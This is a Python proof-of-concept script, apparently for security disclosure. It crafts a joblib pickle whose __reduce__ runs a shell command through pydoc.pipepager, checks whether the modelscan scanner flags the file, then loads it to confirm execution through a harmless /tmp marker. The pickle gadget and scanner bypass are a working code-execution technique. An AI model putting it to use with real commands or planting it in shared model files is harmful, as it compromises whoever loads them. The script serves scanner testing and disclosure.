from __future__ import annotations import json import os import pickletools import shutil import subprocess from pathlib import Path import joblib import pydoc ROOT = Path(__file__).resolve().parent PAYLOAD = ROOT / "poc_pydoc_pipepager_bypass.joblib" REPORT = ROOT / "poc_pydoc_pipepager_bypass.modelscan.json" MARKER = Path("/tmp/modelscan_joblib_pydoc_pipepager_marker") class PipePagerPayload: def __reduce__(self): command = f"printf modelscan-joblib-pydoc-pipepager > {MARKER}" return pydoc.pipepager, ("", command) def main() -> None: MARKER.unlink(missing_ok=True) joblib.dump(PipePagerPayload(), PAYLOAD) payload = PAYLOAD.read_bytes() print(f"wrote {PAYLOAD}") print("pickle globals:") for opcode, arg, position in pickletools.genops(payload): if opcode.name in {"GLOBAL", "STACK_GLOBAL"}: print(f" {position}: {opcode.name} {arg!r}") modelscan_bin = ( os.environ.get("MODELSCAN_BIN") or shutil.which("modelscan") or str(ROOT / ".venv312" / "bin" / "modelscan") ) scan = subprocess.run( [ modelscan_bin, "--path", str(PAYLOAD), "--reporting-format", "json", "--output-file", str(REPORT), ], check=False, capture_output=True, text=True, ) print("modelscan binary:", scan.args[0]) print("modelscan exit:", scan.returncode) report = json.loads(REPORT.read_text()) print( "modelscan summary:", json.dumps( { "total_issues": report["summary"]["total_issues"], "total_issues_by_severity": report["summary"][ "total_issues_by_severity" ], "errors": report["errors"], "skipped": report["summary"].get("skipped", {}), }, indent=2, ), ) print("marker exists before joblib.load:", MARKER.exists()) result = joblib.load(PAYLOAD) print("joblib.load returned:", result) print("marker exists after joblib.load:", MARKER.exists()) if MARKER.exists(): print("marker content:", MARKER.read_text()) if __name__ == "__main__": main()